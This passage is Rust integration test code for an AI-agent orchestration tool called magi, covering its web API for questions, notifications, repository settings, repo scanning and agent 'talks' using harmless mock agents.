13497                Some(r#"{"body":"still there?"}"#),
13498            )
13499            .await;
13500        assert_eq!(res.status, 409, "{}", res.body);
13501    }
13502
13503    #[tokio::test]
13504    async fn an_answer_the_question_does_not_offer_is_refused() {
13505        let fx = Fixture::start().await;
13506        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13507        let path = format!("/api/questions/{id}/answer");
13508
13509        for body in [
13510            r#"{"choice":"Postgres"}"#,
13511            r#"{"text":"whatever you think"}"#,
13512            r#"{"choice":"Redis","text":"both"}"#,
13513            r#"{}"#,
13514        ] {
13515            let res = fx.post(&path, Some(body)).await;
13516            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13517            assert!(res.json()["error"].is_string(), "{}", res.body);
13518        }
13519        // Nothing above may have answered it.
13520        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13521    }
13522
13523    #[tokio::test]
13524    async fn a_free_text_question_takes_text_and_not_a_choice() {
13525        let fx = Fixture::start().await;
13526        let id = ask(&fx, "What should the flag be called?", &[]);
13527        fx.questions().beat(&id, ask::WaiterKind::Asker);
13528        let path = format!("/api/questions/{id}/answer");
13529
13530        assert_eq!(
13531            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13532            400
13533        );
13534        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13535        assert_eq!(res.status, 200, "{}", res.body);
13536        assert_eq!(res.json()["answer"]["text"], "--json");
13537    }
13538
13539    #[tokio::test]
13540    async fn an_unknown_question_is_a_json_404() {
13541        let fx = Fixture::start().await;
13542        let res = fx
13543            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13544            .await;
13545        assert_eq!(res.status, 404, "{}", res.body);
13546        assert!(res.json()["error"].is_string());
13547    }
13548
13549    #[tokio::test]
13550    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13551        let fx = Fixture::start().await;
13552        let questions = Questions::at(fx.home.path().join("questions"));
13553        let store = Notices::at(fx.home.path().join("notifications"));
13554        let mut q = ask::Question::new(
13555            "t1".into(),
13556            "conduct".into(),
13557            "conductor".into(),
13558            "Continue?".into(),
13559            String::new(),
13560            Vec::new(),
13561        );
13562        questions.put(&mut q).unwrap();
13563        let mut n = Notice::warn("task:t1", "Task t1 is held.");
13564        n.covered_by = Some(q.id.clone());
13565        let n = store.raise(n).unwrap();
13566        let listed = fx.get("/api/notifications").await.json();
13567        assert_eq!(listed["items"][0]["answerable_question"], q.id);
13568        questions
13569            .update(&q.id, |q| {
13570                q.abandon("run gone");
13571                Ok(())
13572            })
13573            .unwrap();
13574        let listed = fx.get("/api/notifications").await.json();
13575        assert!(listed["items"][0]["answerable_question"].is_null());
13576        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13577        assert!(
13578            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13579                .unwrap()
13580                .contains("answerable_question")
13581        );
13582    }
13583
13584    #[tokio::test]
13585    async fn notifications_list_read_dismiss_and_health_agree() {
13586        let fx = Fixture::start().await;
13587        let store = Notices::at(fx.home.path().join("notifications"));
13588        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
13589        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
13590
13591        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
13592        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
13593
13594        store
13595            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
13596            .unwrap();
13597        let health = fx.get("/api/health").await.json();
13598        assert_eq!(health["notifications_unread"], 2);
13599        assert_ne!(
13600            health["notifications_rev"], rev0,
13601            "the badge must move live"
13602        );
13603
13604        let listed = fx.get("/api/notifications").await.json();
13605        assert_eq!(listed["unread"], 2);
13606        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
13607        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
13608
13609        let read = fx
13610            .post(&format!("/api/notifications/{}/read", a.id), None)
13611            .await;
13612        assert_eq!(read.status, 200, "{}", read.body);
13613        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
13614
13615        let gone = fx
13616            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
13617            .await;
13618        assert_eq!(gone.status, 200, "{}", gone.body);
13619        let listed = fx.get("/api/notifications").await.json();
13620        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13621        assert_eq!(listed["unread"], 0);
13622
13623        store.raise(Notice::info("x", "again")).unwrap();
13624        let all = fx.post("/api/notifications/read-all", None).await;
13625        assert_eq!(all.status, 200, "{}", all.body);
13626        assert_eq!(all.json()["marked"], 1);
13627        assert_eq!(
13628            fx.get("/api/health").await.json()["notifications_unread"],
13629            0
13630        );
13631
13632        let missing = fx.post("/api/notifications/nope/read", None).await;
13633        assert_eq!(missing.status, 404, "{}", missing.body);
13634        assert!(missing.json()["error"].is_string());
13635    }
13636
13637    /// New work reaches the queue through `magi task add`, a standing talk's
13638    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
13639    /// so the compose form and that route are gone. The tests that covered
13640    /// that route's validation went with it, and nothing was left asserting
13641    /// it stays gone — so a re-added handler would silently let the phone
13642    /// file briefs no one validated.
13643    #[tokio::test]
13644    async fn a_task_cannot_be_filed_over_the_phone_directly() {
13645        let f = Fixture::start().await;
13646
13647        let res = f
13648            .post(
13649                "/api/queue",
13650                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
13651            )
13652            .await;
13653
13654        assert_eq!(
13655            res.status, 405,
13656            "POST /api/queue must not be a route: {}",
13657            res.body
13658        );
13659        assert!(
13660            f.queue().list().is_empty(),
13661            "a task filed by a route that does not exist must not reach the disk"
13662        );
13663        // The path itself is still served — the Queue view reads it — and the
13664        // per-task controls are untouched by the entry being removed.
13665        assert_eq!(f.get("/api/queue").await.status, 200);
13666    }
13667
13668    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
13669    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
13670        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
13671            .expect("checkout dir");
13672    }
13673
13674    /// Two command agents, so a config needs no real CLI.
13675    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
13676
13677    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13678        let tmp = TempDir::new().expect("tempdir");
13679        let repo = tmp.path().join("repo");
13680        std::fs::create_dir_all(&repo).expect("repo dir");
13681        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13682        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13683        if let Some(text) = machine_toml {
13684            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13685            std::fs::write(&machine, text).expect("machine toml");
13686        }
13687        (tmp, repo, machine)
13688    }
13689
13690    async fn settings_checkout(path: &FsPath, text: &str) {
13691        std::fs::create_dir_all(path).unwrap();
13692        std::fs::write(path.join("magi.toml"), text).unwrap();
13693        for args in [
13694            vec!["init", "-b", "main"],
13695            vec!["add", "magi.toml"],
13696            vec![
13697                "-c",
13698                "user.name=Test",
13699                "-c",
13700                "user.email=test@example.invalid",
13701                "commit",
13702                "-m",
13703                "fixture",
13704            ],
13705            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13706            vec![
13707                "symbolic-ref",
13708                "refs/remotes/origin/HEAD",
13709                "refs/remotes/origin/main",
13710            ],
13711        ] {
13712            crate::git::git(path, &args).await.unwrap();
13713        }
13714    }
13715
13716    #[tokio::test]
13717    async fn settings_context_handlers_validate_and_save_without_a_socket() {
13718        let (tmp, repo, machine) =
13719            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13720        let root = tmp.path().join("roots");
13721        let selected = root.join("host/owner/selected");
13722        settings_checkout(
13723            &selected,
13724            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13725        )
13726        .await;
13727        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13728        let before = std::fs::read(&machine).unwrap();
13729        let ui = Arc::new(
13730            Ui::new(
13731                Queue::at(tmp.path().join("queue")),
13732                Questions::at(tmp.path().join("questions")),
13733                Talks::at(tmp.path().join("talks")),
13734                tmp.path().join("runs"),
13735                tmp.path().to_path_buf(),
13736                repo.clone(),
13737            )
13738            .with_machine_config(Some(machine.clone())),
13739        );
13740        let query = || {
13741            Query(SettingsQuery {
13742                repo: Some(selected.clone()),
13743            })
13744        };
13745        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13746        assert!(v.error.is_none(), "{:?}", v.error);
13747        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13748        assert_eq!(conductor.source, "repo");
13749        assert_eq!(
13750            conductor.machine_value,
13751            Some(toml::Value::String("a".into()))
13752        );
13753        assert!(!conductor.editable);
13754        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13755        assert_eq!(
13756            judges.count.as_ref().unwrap().machine_value,
13757            Some(toml::Value::Integer(1))
13758        );
13759        assert!(
13760            !v.roles
13761                .iter()
13762                .find(|r| r.key == "reviewers")
13763                .unwrap()
13764                .editable
13765        );
13766        let unknown = || {
13767            Query(SettingsQuery {
13768                repo: Some(tmp.path().to_path_buf()),
13769            })
13770        };
13771        assert_eq!(
13772            settings_get(State(ui.clone()), unknown())
13773                .await
13774                .unwrap_err()
13775                .status,
13776            StatusCode::UNPROCESSABLE_ENTITY
13777        );
13778        let body = || {
13779            Ok(Json(RolesBody {
13780                revision: v.revision.clone(),
13781                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
13782                counts: Default::default(),
13783            }))
13784        };
13785        assert_eq!(
13786            settings_put_roles(State(ui.clone()), unknown(), body())
13787                .await
13788                .unwrap_err()
13789                .status,
13790            StatusCode::UNPROCESSABLE_ENTITY
13791        );
13792        assert_eq!(std::fs::read(&machine).unwrap(), before);
13793        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
13794            .await
13795            .unwrap();
13796        assert_eq!(
13797            saved.repo,
13798            selected.canonicalize().unwrap().display().to_string()
13799        );
13800        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13801        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13802        // A cache miss refreshes the stable candidate list exactly for validation.
13803        let fresh = root.join("host/owner/fresh");
13804        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
13805        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
13806            .await
13807            .unwrap();
13808        assert_eq!(fresh_view.repositories.len(), 3);
13809    }
13810
13811    #[tokio::test]
13812    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
13813        let (tmp, repo, machine) = settings_dirs(
13814            "[roles]\nreviewers = [\"a\"]\n",
13815            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
13816        );
13817        let root = tmp.path().join("roots");
13818        let selected = root.join("host/owner/selected");
13819        settings_checkout(
13820            &selected,
13821            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
13822        )
13823        .await;
13824        let broken = root.join("host/owner/broken");
13825        settings_checkout(&broken, "[roles\nbroken").await;
13826        let machine_text = format!(
13827            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
13828            toml::Value::String(root.display().to_string())
13829        );
13830        std::fs::write(&machine, &machine_text).unwrap();
13831        let originals: Vec<_> = [&repo, &selected, &broken]
13832            .iter()
13833            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13834            .collect();
13835        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13836        let default = f.get("/api/settings").await.json();
13837        assert_eq!(
13838            default["repo"],
13839            repo.canonicalize().unwrap().display().to_string()
13840        );
13841        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13842        let query = format!("?repo={}", selected.display());
13843        let res = f.get(&format!("/api/settings{query}")).await;
13844        assert_eq!(res.status, 200, "{}", res.body);
13845        let v = res.json();
13846        assert!(v["error"].is_null(), "{v}");
13847        assert_eq!(v["repositories"], default["repositories"]);
13848        let role = |key: &str| {
13849            v["roles"]
13850                .as_array()
13851                .unwrap()
13852                .iter()
13853                .find(|r| r["key"] == key)
13854                .unwrap()
13855        };
13856        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13857        assert_eq!(role("advisors")["source"], "repo");
13858        assert_eq!(role("advisors")["editable"], false);
13859        assert!(role("advisors")["machine_value"].is_null());
13860        assert_eq!(role("judges")["count"]["value"], 2);
13861        assert_eq!(role("judges")["count"]["machine_value"], 1);
13862        assert_eq!(role("judges")["count"]["source"], "repo");
13863        let source = role("judges")["count"]["source_path"].as_str().unwrap();
13864        assert!(
13865            source.contains("origin/main") && !source.contains("magi/config/"),
13866            "{source}"
13867        );
13868        assert_eq!(
13869            role("reviewers")["editable"],
13870            false,
13871            "default context outside roots must protect its declarations"
13872        );
13873        let body =
13874            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13875        let unknown = format!("?repo={}", tmp.path().display());
13876        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13877        assert_eq!(
13878            f.put(&format!("/api/settings/roles{unknown}"), &body)
13879                .await
13880                .status,
13881            422
13882        );
13883        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13884        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13885            .to_string();
13886        assert_eq!(
13887            f.put(&format!("/api/settings/roles{query}"), &refuse)
13888                .await
13889                .status,
13890            422
13891        );
13892        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13893        assert_eq!(saved.status, 200, "{}", saved.body);
13894        assert_eq!(saved.json()["repo"], v["repo"]);
13895        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13896        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13897        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13898            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13899        }
13900        let error = f
13901            .get(&format!("/api/settings?repo={}", broken.display()))
13902            .await;
13903        assert_eq!(error.status, 200);
13904        assert!(error.json()["error"]["message"].is_string());
13905        assert_eq!(error.json()["repositories"], default["repositories"]);
13906    }
13907
13908    #[tokio::test]
13909    async fn settings_get_reports_sources_and_the_advisors_fallback() {
13910        let (_tmp, repo, machine) =
13911            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13912        let f = Fixture::with_repo_and_machine(repo, machine).await;
13913        let res = f.get("/api/settings").await;
13914        assert_eq!(res.status, 200, "{}", res.body);
13915        let v = res.json();
13916        assert!(v["error"].is_null(), "{v}");
13917        let role = |k: &str| {
13918            v["roles"]
13919                .as_array()
13920                .and_then(|r| r.iter().find(|x| x["key"] == k))
13921                .cloned()
13922                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13923        };
13924        assert_eq!(role("judges")["source"], "machine");
13925        assert_eq!(role("judges")["editable"], true);
13926        assert_eq!(role("implementers")["source"], "default");
13927        let adv = role("advisors");
13928        assert_eq!(adv["fallback"], "judges");
13929        assert!(
13930            adv["seats"]
13931                .as_array()
13932                .is_some_and(|s| s.iter().all(|x| x == "b")),
13933            "{adv}"
13934        );
13935        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13936        assert_eq!(v["agents"][0]["source"], "repo");
13937    }
13938
13939    #[tokio::test]
13940    async fn settings_get_reports_a_config_that_does_not_parse() {
13941        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13942        let f = Fixture::with_repo_and_machine(repo, machine).await;
13943        let res = f.get("/api/settings").await;
13944        assert_eq!(res.status, 200, "{}", res.body);
13945        let v = res.json();
13946        assert!(v["error"]["message"].is_string(), "{v}");
13947        assert!(
13948            v["error"]["path"]
13949                .as_str()
13950                .is_some_and(|p| p.ends_with("magi.toml")),
13951            "{v}"
13952        );
13953        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13954    }
13955
13956    #[tokio::test]
13957    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13958        let (_tmp, repo, machine) = settings_dirs(
13959            SETTINGS_AGENTS,
13960            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
13961        );
13962        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13963        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13964        let rev = f.get("/api/settings").await.json()["revision"]
13965            .as_str()
13966            .expect("revision")
13967            .to_owned();
13968        let body = serde_json::json!({
13969            "revision": rev,
13970            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13971        })
13972        .to_string();
13973        let res = f.put("/api/settings/roles", &body).await;
13974        assert_eq!(res.status, 200, "{}", res.body);
13975        let text = std::fs::read_to_string(&machine).expect("machine");
13976        assert_eq!(
13977            text,
13978            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13979        );
13980        assert_eq!(
13981            std::fs::read(repo.join("magi.toml")).expect("read"),
13982            repo_before
13983        );
13984        let again = f.get("/api/settings").await.json();
13985        let judges = again["roles"]
13986            .as_array()
13987            .expect("roles")
13988            .iter()
13989            .find(|r| r["key"] == "judges")
13990            .expect("judges")
13991            .clone();
13992        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13993        // The old revision is now stale.
13994        let stale = f.put("/api/settings/roles", &body).await;
13995        assert_eq!(stale.status, 409, "{}", stale.body);
13996    }
13997
13998    #[tokio::test]
13999    async fn settings_counts_are_reported_and_saved() {
14000        let (_tmp, repo, machine) = settings_dirs(
14001            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14002            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14003        );
14004        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14005        let v = f.get("/api/settings").await.json();
14006        let count = |v: &serde_json::Value, k: &str| {
14007            v["roles"]
14008                .as_array()
14009                .and_then(|r| r.iter().find(|x| x["key"] == k))
14010                .map(|x| x["count"].clone())
14011                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14012        };
14013        let imp = count(&v, "implementers");
14014        assert_eq!(imp["value"], 2);
14015        assert_eq!(imp["source"], "machine");
14016        assert_eq!(imp["file_key"], "candidates");
14017        assert_eq!(imp["roster_len"], 2);
14018        assert_eq!(imp["backups"], 0);
14019        assert_eq!(count(&v, "judges")["source"], "default");
14020        assert_eq!(count(&v, "advisors")["min"], 0);
14021        assert_eq!(count(&v, "reviewers")["editable"], false);
14022        assert!(
14023            count(&v, "reviewers")["locked_reason"]
14024                .as_str()
14025                .is_some_and(|m| m.contains("graph.reviewers"))
14026        );
14027        assert!(count(&v, "fixer").is_null());
14028        let rev = v["revision"].as_str().expect("revision").to_owned();
14029        let body = serde_json::json!({
14030            "revision": rev,
14031            "roles": { "judges": ["b"] },
14032            "counts": { "implementers": 1, "advisors": 0 }
14033        })
14034        .to_string();
14035        let res = f.put("/api/settings/roles", &body).await;
14036        assert_eq!(res.status, 200, "{}", res.body);
14037        let text = std::fs::read_to_string(&machine).expect("machine");
14038        assert_eq!(
14039            text,
14040            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
14041        );
14042        let after = f.get("/api/settings").await.json();
14043        assert_eq!(count(&after, "implementers")["value"], 1);
14044        assert_eq!(count(&after, "implementers")["backups"], 1);
14045        assert_eq!(count(&after, "advisors")["value"], 0);
14046        let before = std::fs::read_to_string(&machine).expect("machine");
14047        let rev = after["revision"].as_str().expect("revision").to_owned();
14048        for counts in [
14049            serde_json::json!({ "judges": 0 }),
14050            serde_json::json!({ "judges": "x" }),
14051            serde_json::json!({ "judges": 2.5 }),
14052            serde_json::json!({ "judges": -1 }),
14053            serde_json::json!({ "reviewers": 3 }),
14054            serde_json::json!({ "bogus": 3 }),
14055        ] {
14056            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
14057            let res = f.put("/api/settings/roles", &body).await;
14058            assert_eq!(res.status, 422, "{counts}: {}", res.body);
14059            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
14060        }
14061    }
14062
14063    #[tokio::test]
14064    async fn settings_put_refuses_without_touching_the_file() {
14065        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
14066        let (_tmp, repo, machine) = settings_dirs(
14067            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
14068            Some(machine_text),
14069        );
14070        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14071        let rev = f.get("/api/settings").await.json()["revision"]
14072            .as_str()
14073            .expect("revision")
14074            .to_owned();
14075        for roles in [
14076            serde_json::json!({ "judges": ["nope"] }),
14077            serde_json::json!({ "reviewers": ["b"] }),
14078            serde_json::json!({ "bogus": ["a"] }),
14079        ] {
14080            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
14081            let res = f.put("/api/settings/roles", &body).await;
14082            assert_eq!(res.status, 422, "{roles}: {}", res.body);
14083            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
14084            assert_eq!(
14085                std::fs::read_to_string(&machine).expect("machine"),
14086                machine_text
14087            );
14088        }
14089    }
14090
14091    #[tokio::test]
14092    async fn repos_list_returns_name_and_path_for_every_configured_root() {
14093        let tmp = TempDir::new().expect("tempdir");
14094        let repo = tmp.path().join("repo");
14095        std::fs::create_dir_all(&repo).expect("repo dir");
14096        let root = tmp.path().join("root");
14097        make_checkout(&root, "github.com", "yukimemi", "magi");
14098        std::fs::write(
14099            repo.join("magi.toml"),
14100            format!(
14101                "[repos]\nroots = [{:?}]\n",
14102                root.to_string_lossy().into_owned()
14103            ),
14104        )
14105        .expect("write magi.toml");
14106
14107        let f = Fixture::with_repo(repo).await;
14108        let res = f.get("/api/repos").await;
14109        assert_eq!(res.status, 200, "{}", res.body);
14110        let list = res.json();
14111        let repos = list.as_array().expect("an array");
14112        assert_eq!(repos.len(), 1);
14113        assert_eq!(repos[0]["name"], "yukimemi/magi");
14114        assert!(
14115            repos[0]["path"]
14116                .as_str()
14117                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
14118            "{list}"
14119        );
14120    }
14121
14122    #[tokio::test]
14123    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
14124        let tmp = TempDir::new().expect("tempdir");
14125        let repo = tmp.path().join("repo");
14126        std::fs::create_dir_all(&repo).expect("repo dir");
14127        let root = tmp.path().join("root");
14128        make_checkout(&root, "github.com", "yukimemi", "magi");
14129        std::fs::write(
14130            repo.join("magi.toml"),
14131            format!(
14132                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
14133                root.to_string_lossy().into_owned()
14134            ),
14135        )
14136        .expect("write magi.toml");
14137
14138        let f = Fixture::with_repo(repo).await;
14139        let first = f.get("/api/repos").await;
14140        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
14141
14142        // A second checkout appears; within the TTL the cached answer must
14143        // not notice it.
14144        make_checkout(&root, "github.com", "yukimemi", "rvpm");
14145        let second = f.get("/api/repos").await;
14146        assert_eq!(
14147            second.json().as_array().map(Vec::len),
14148            Some(1),
14149            "a fresh cache must not rescan inside the TTL"
14150        );
14151
14152        let refreshed = f.get("/api/repos?refresh=1").await;
14153        assert_eq!(
14154            refreshed.json().as_array().map(Vec::len),
14155            Some(2),
14156            "an explicit refresh must rescan even inside the TTL"
14157        );
14158    }
14159
14160    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
14161    /// string, declared straight in a repository's own `magi.toml` rather
14162    /// than the operator's real roster. No real agent CLI is spawned - `sh`
14163    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
14164    /// this is safe to run over a real HTTP round trip.
14165    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
14166
14167    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
14168    /// real `Config::discover` to find an agent - `talk::begin` resolves one
14169    /// even though it takes no turn, and `talk_say` invokes one.
14170    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14171        let tmp = TempDir::new().expect("tempdir");
14172        let repo = tmp.path().join("repo");
14173        std::fs::create_dir_all(&repo).expect("repo dir");
14174        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14175        let f = Fixture::with_repo(repo.clone()).await;
14176        (tmp, repo, f)
14177    }
14178
14179    #[tokio::test]
14180    async fn posting_a_talk_with_remembered_choices_is_soft() {
14181        let (_tmp, _repo, f) = talk_fixture().await;
14182
14183        let good = f
14184            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14185            .await;
14186        assert_eq!(good.status, 201, "{}", good.body);
14187        assert_eq!(good.json()["persona"], "rei");
14188
14189        // Wrong values and wrong types are dropped one by one, never a 4xx.
14190        let stale = f
14191            .post(
14192                "/api/talks",
14193                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14194            )
14195            .await;
14196        assert_eq!(stale.status, 201, "{}", stale.body);
14197        let v = stale.json();
14198        assert_eq!(v["implementers"], 1);
14199        assert_ne!(v["persona"], "nobody");
14200        let typed = f
14201            .post(
14202                "/api/talks",
14203                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14204            )
14205            .await;
14206        assert_eq!(typed.status, 201, "{}", typed.body);
14207
14208        // The strict `agent` field still refuses an unknown id.
14209        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14210        assert!(
14211            !strict.status.to_string().starts_with('2'),
14212            "{}",
14213            strict.body
14214        );
14215    }
14216
14217    #[tokio::test]
14218    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14219        let (_tmp, _repo, f) = talk_fixture().await;
14220
14221        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
14222        // is the ordinary way a phone opens a talk.
14223        let opened = f.post("/api/talks", None).await;
14224        assert_eq!(opened.status, 201, "{}", opened.body);
14225        let body = opened.json();
14226        assert_eq!(body["status"], "open");
14227        assert_eq!(
14228            body["turns"].as_array().unwrap().len(),
14229            0,
14230            "opening takes no agent turn: there is nothing yet to answer"
14231        );
14232
14233        // An explicit empty object is the same request as none at all.
14234        let also_opened = f.post("/api/talks", Some("{}")).await;
14235        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14236
14237        let listed = f.get("/api/talks").await.json();
14238        assert_eq!(listed.as_array().unwrap().len(), 2);
14239    }
14240
14241    #[tokio::test]
14242    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14243        let tmp = TempDir::new().expect("tempdir");
14244        let repo = tmp.path().join("repo");
14245        std::fs::create_dir_all(&repo).expect("repo dir");
14246        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14247        std::fs::write(
14248            repo.join("magi.toml"),
14249            format!("{MOCK_AGENT_TOML}\n{second}"),
14250        )
14251        .expect("write magi.toml");
14252        let home = TempDir::new().expect("temp home");
14253        let talks = Talks::at(home.path().join("talks"));
14254        let ui = Arc::new(
14255            Ui::new(
14256                Queue::at(home.path().join("queue")),
14257                Questions::at(home.path().join("questions")),
14258                talks.clone(),
14259                home.path().join("runs"),
14260                home.path().to_path_buf(),
14261                repo.clone(),
14262            )
14263            .with_worktrees_root(home.path().join("wt")),
14264        );
14265        let cfg = config_for(&repo).await.expect("discover config");
14266        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14267        let id = talk.id.clone();
14268        let call = |agent: &str| {
14269            talk_agent(
14270                State(Arc::clone(&ui)),
14271                Path(id.clone()),
14272                Json(TalkAgent {
14273                    agent: agent.to_owned(),
14274                }),
14275            )
14276        };
14277
14278        let unknown = call("nobody").await.expect_err("unknown agent");
14279        assert_eq!(
14280            unknown.status,
14281            StatusCode::BAD_REQUEST,
14282            "{}",
14283            unknown.message
14284        );
14285
14286        {
14287            // Nothing refused so far took a claim, so the guard is free to take
14288            // and holding it is what makes the talk busy.
14289            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14290            let busy = call("second").await.expect_err("busy talk");
14291            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14292            assert!(
14293                busy.message.contains("a talk turn is running"),
14294                "{}",
14295                busy.message
14296            );
14297            drop(guard);
14298        }
14299        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14300
14301        let Json(view) = call("second").await.expect("switch");
14302        assert_eq!(view.talk.agent, "second");
14303        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14304        let saved = talks.get(&id).expect("reload");
14305        assert_eq!(saved.agent, "second");
14306        assert_eq!(saved.turns.len(), 1);
14307        assert!(!view.thinking);
14308        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14309        for agent in ["mock", "second"] {
14310            let Json(view) = call(agent).await.expect("immediate consecutive change");
14311            assert_eq!(view.talk.agent, agent);
14312            assert!(!view.thinking);
14313            assert!(!ui.is_thinking(&id));
14314        }
14315
14316        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14317            .await
14318            .expect("detail");
14319        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
